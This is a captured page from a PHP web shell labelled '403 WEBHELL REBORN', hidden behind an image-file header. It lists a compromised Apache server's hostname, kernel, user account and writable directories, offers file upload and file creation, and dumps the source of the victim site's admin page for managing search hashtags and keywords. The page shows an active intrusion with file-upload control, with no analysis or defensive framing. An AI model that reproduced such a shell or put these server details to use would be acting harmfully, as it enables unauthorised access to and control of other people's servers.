ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/toadmin/design/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/toadmin/design/goodSearchManagement.html
<?php
include "../include/top.html";
include "_common.php";

$pageLang = $_GET['lang'];

if(!$pageLang){
    $pageLang = 'ko';
}

$hashTagData = getSearchHashTag($pageLang);
$topKeywordData = getSearchTopKeyword($pageLang);

//p($topKeywordData);
?>
    <script type="text/javascript" src="https://code.jquery.com/jquery-1.12.4.min.js" ></script>
    <script type="text/javascript" src="https://code.jquery.com/ui/1.12.1/jquery-ui.js" ></script>
<input type="hidden" id="editId" value="<?=$TO_MB['mb_id']?>" />
<input type="hidden" id="pageLang" value="$pageLang" />
<style>
    #hashTagRegArea{float:left;border:1px solid #000;border-radius:5px;width:50%;padding: 0 10px 30px 10px;}

    #topRankingSearchKeywordArea{float:left;border:1px solid #000;border-radius:5px;width:388px;padding: 0 10px 30px 10px;margin-left:20px}
    .hashRegArea input{border:1px solid #ccc}

    #sortable{clear:both;float:left;width:100%;_background:palegreen}


    #sortable li{float:left;_background:skyblue;margin:19px 0 0 0;width:48%}
    #sortable li:nth-child(even){margin-left:10px}

    #sortable li .hashRegArea, #sortable2 li .inputTopRankingKeywordArea{background:#fff;box-shadow:0px 5px 5px #ccc;width:90%;padding:8.3% 2%;border-radius:5px}

    #sortable li .seqArea{width:6%}
    #sortable li .seqArea p{margin-top: 39px;text-align: center;font-weight: bold;}
    #sortable li .seqArea, #sortable li .hashRegArea{float:left}

    .inputHashtagContents, .inputHashtagLink{width:84%}
    .inputHashtagContents, .inputHashtagLink, .inputTopRankingKeyword{height:25px}

    .hashTagAreaTitle, .topRankingSearchKeywordAreaTitle{clear:both;float:left;width:100%;text-align:center;margin-top:30px}

    .bar_wrap h2, .bar_wrap ul, .bar_wrap ul li{float:left}
    .bar_wrap ul{;margin-left:20px;margin-top:-6px}
    .bar_wrap ul li{width:50px;background:#fff;font-size:13px;text-align:center;padding:6px 0;border:1px solid #ccc}
    .bar_wrap ul li.active{color:#CF2D36;background:#FFF7F7;border:1px solid #F1A3A7;margin-right:1px}

    .bar_wrap ul li:nth-child(2),.bar_wrap ul li:nth-child(3),.bar_wrap ul li:nth-child(4){margin-left: -1px}

    .bar_wrap ul li a{width:100%}

    #saveBtnWrap{clear:both;float:left;width:100%;text-align:center;margin-top:33px}
    #hashTagSaveBtn, #searchKeywordSaveBtn{background: #eb3b5a;border: 1px solid #cf2d36;color: #fff;height:unset;border-radius: 5px;width: 59px;;cursor:pointer}

    .inputTopRankingKeywordArea{}

    .inputTopRankingKeyword{border:1px solid #ccc;}

    #sortable2{_background:pink}

    #sortable2, #sortable2 li{clear:both;float:left;width:100%}
    #sortable2 li{margin-top:19px}
    #sortable2 .seqArea{float:left;background:#fff;float:left;color:#000;width:57px;height:57px;border-radius:10px;box-shadow: 0px 5px 5px #ccc;}
    #sortable2 .seqArea p{width:100%;text-align:center;margin-top:20px}

    #sortable2 li .inputTopRankingKeywordArea{float:left;width:300px;margin-left:10px;padding:10px}
    #sortable2 li .inputTopRankingKeywordArea *{float:left;}
    #sortable2 li .inputTopRankingKeywordArea input{width:96%;margin-left:1%}

</style>

    <div class="contents_wrap">
        <div class="contents_wrap_in">
            <div class="contents_detail">
                <div class="setting_wrap">
                    <div class="top_txt_s">
                        <div class="bar_wrap">
                            <h2>검색관리기능</h2>
                            <ul>
                                <li class="<?=(($pageLang == 'ko') ? 'active' : '')?>"><a href="/toadmin/design/goodSearchManagement.html?lang=ko">한글</a></li>
                                <li class="<?=(($pageLang == 'hk') ? 'active' : '')?>"><a href="/toadmin/design/goodSearchManagement.html?lang=hk">번체</a></li>
                                <li class="<?=(($pageLang == 'en') ? 'active' : '')?>"><a href="/toadmin/design/goodSearchManagement.html?lang=en">영어</a></li>
                                <li class="<?=(($pageLang == 'cn') ? 'active' : '')?>"><a href="/toadmin/design/goodSearchManagement.html?lang=cn">간체</a></li>
                            </ul>

                        </div>
                    </div>


                    <div id="hashTagRegArea">
                        <h2 class="hashTagAreaTitle">추천 해시태그 등록</h2>

<!--                        <form name="frm_banner" id="frm_banner" method="post">-->
                            <ul id="sortable">
                                <?php
                                $i = 0;
                                foreach($hashTagData as $item){
                                    $i += 1;
                                    ?>
                                    <li>
                                        <input type="hidden" class="shtid" value="<?=$item['SHTID']?>" />
                                        <div class="seqArea">
                                            <p><?=$i?></p>
                                        </div>

                                        <div class="hashRegArea">
                                            <label for="hashtagContents-<?=$i?>">내용 : </label>
                                            <input type="text" class="inputHashtagContents" id="hashtagContents-<?=$i?>" name="hashtagContents-<?=$i?>" value="<?=$item['keyword']?>" />
                                            <br>
                                            <br>
                                            <br>


                                            <label for="hashtagLink-<?=$i?>">링크 : </label>
                                            <input type="text" class="inputHashtagLink" id="hashtagLink-<?=$i?>" name="hashtagLink-<?=$i?>" value="<?=$item['link']?>" />
                                        </div>

                                    </li>
                                    <?php
                                }
                                ?>
                            </ul>

                            <div id="saveBtnWrap">
                                <input type="submit" id="hashTagSaveBtn" value="저장" />
                            </div>

<!--                        </form>-->

                    </div>





                    <div id="topRankingSearchKeywordArea">
                        <h2 class="topRankingSearchKeywordAreaTitle">인기검색어 순위</h2>
<!--                        <form name="frm_banner" id="frm_banner" method="post">-->
                            <ul id="sortable2">
                            <?php
                                $i = 0;
                                foreach($topKeywordData as $item){
                                    $i += 1;
                            ?>
                            <li>
                                <input type="hidden" class="stkid" value="<?=$item['STKID']?>" />

                                <div class="seqArea">
                                    <p><?=$i?>.</p>
                                </div>
                                <div class="inputTopRankingKeywordArea">
                                    <input type="text" class="inputTopRankingKeyword" id="topRankingKeyword-<?=$i?>" name="inputTopRankingKeyword-<?=$i?>" value="<?=$item['keyword']?>" />
                                </div>
                            </li>
                            <?php
                                }
                            ?>
                            </ul>

                            <div id="saveBtnWrap">
                                <input type="submit" id="searchKeywordSaveBtn" value="저장" />
                            </div>

<!--                        </form>-->
                    </div>
                </div>
            </div>
        </div>
    </div>

    <script language="javascript">
        var hastTagSuccessCnt = 0;
        var topKeywprdSuccessCnt = 0;

        $(window).load(function() {

            $("#sortable").sortable();
            $("#sortable").disableSelection();

            $('#sortable li').mouseup(function(){
                setTimeout(function(){
                    for(i = 0;  i < document.getElementById('sortable').getElementsByTagName('li').length; i++){
                        // document.getElementById('sortable').getElementsByTagName('li')[i].getElementsByClassName('shtid')[0].value = i + 1;
                        document.getElementById('sortable').getElementsByTagName('li')[i].getElementsByClassName('seqArea')[0].getElementsByTagName('p')[0].innerText = i + 1;
                    }

                },200)
            })

            $('#hashTagSaveBtn').click(function(){
                hashTagSave();
            })


            $("#sortable2").sortable();
            $("#sortable2").disableSelection();

            $('#sortable2 li').mouseup(function(){
                setTimeout(function(){
                    for(i = 0;  i < document.getElementById('sortable2').getElementsByTagName('li').length; i++){
                        document.getElementById('sortable2').getElementsByTagName('li')[i].getElementsByClassName('seqArea')[0].getElementsByTagName('p')[0].innerText = i + 1;
                    }

                },200)
            })

            $('#searchKeywordSaveBtn').click(function(){
                topKeywordSave();
            })



        });

        function hashTagSave(){

            console.log('in');

            if(document.getElementById('sortable') != null){

                document.getElementById('sortable').getElementsByTagName('li').length;

                for(i = 0;  i < document.getElementById('sortable').getElementsByTagName('li').length; i++){

                    contentsSeq = i + 1;
                    hashTagSeq = contentsSeq;
                    shtid = document.getElementById('sortable').getElementsByTagName('li')[i].getElementsByClassName('shtid')[0].value;
                    hashTagKeyword = document.getElementById('sortable').getElementsByTagName('li')[i].getElementsByClassName('inputHashtagContents')[0].value;
                    hashTagLink = document.getElementById('sortable').getElementsByTagName('li')[i].getElementsByClassName('inputHashtagLink')[0].value;
                    hashTagEdit_id = document.getElementById('editId').value;
                    pageLang = document.getElementById('pageLang').value;

                    $.ajax({
                        type: "POST",
                        url: "/toadmin/ajaxData/",
                        data: {mode:'setKeywordHashTag',hashTagSeq, shtid, hashTagKeyword, hashTagLink, hashTagEdit_id, pageLang},
                        dataType: 'json',
                        async: false,
                        success: function (data) {

                            console.log('daata is ' + JSON.stringify(data));

                            if(data.result == true){

                                hastTagSuccessCnt += 1;
                                // console.log("successCnt is " + successCnt);

                                if(hastTagSuccessCnt == 8){
                                    hastTagSuccessCnt = 0;

                                    iziToast.show({
                                        timeout:2000,
                                        color: 'green',
                                        title: '추천 해시태그',
                                        message: "완료되었습니다.",
                                    });


                                }

                            }else{

                                iziToast.show({
                                    timeout:2000,
                                    color: 'red',
                                    title: '추천 해시태그',
                                    message: data.errMsg,
                                });


                            }


                        },
                        error: function (e) {
                            console.log('ajax error');

                            iziToast.show({
                                timeout:2000,
                                color: 'red',
                                title: '추천 해시태그',
                                message: 'SERVER ERROR',
                            });

                        }
                    });
                }
            }
        }



        function topKeywordSave(){

            console.log('in');

            if(document.getElementById('sortable2') != null){

                document.getElementById('sortable2').getElementsByTagName('li').length;

                for(i = 0;  i < document.getElementById('sortable2').getElementsByTagName('li').length; i++){

                    contentsSeq = i + 1;
                    topKeywordSeq = contentsSeq;
                    stkid = document.getElementById('sortable2').getElementsByTagName('li')[i].getElementsByClassName('stkid')[0].value;
                    topRankKeyword = document.getElementById('sortable2').getElementsByTagName('li')[i].getElementsByClassName('inputTopRankingKeyword')[0].value;
                    edit_id = document.getElementById('editId').value;
                    // pageLang = document.getElementById('pageLang').value;

                    $.ajax({
                        type: "POST",
                        url: "/toadmin/ajaxData/",
                        data: {mode:'setTopKeyword',topKeywordSeq, stkid, topRankKeyword, edit_id},
                        dataType: 'json',
                        async: false,
                        success: function (data) {

                            console.log('daata is ' + JSON.stringify(data));

                            if(data.result == true){

                                topKeywprdSuccessCnt += 1;
                                console.log("topKeywprdSuccessCnt is " + topKeywprdSuccessCnt);

                                if(topKeywprdSuccessCnt == 10){
                                    topKeywprdSuccessCnt = 0;

                                    iziToast.show({
                                        timeout:2000,
                                        color: 'green',
                                        title: '추천 해시태그',
                                        message: "완료되었습니다.",
                                    });


                                }

                            }else{

                                iziToast.show({
                                    timeout:2000,
                                    color: 'red',
                                    title: '추천 해시태그',
                                    message: data.errMsg,
                                });


                            }


                        },
                        error: function (e) {
                            console.log('ajax error');

                            iziToast.show({
                                timeout:2000,
                                color: 'red',
                                title: '추천 해시태그',
                                message: 'SERVER ERROR',
                            });

                        }
                    });
                }
            }
        }





    </script>

<? include "../include/footer.html" ?>

Anon7 - 2021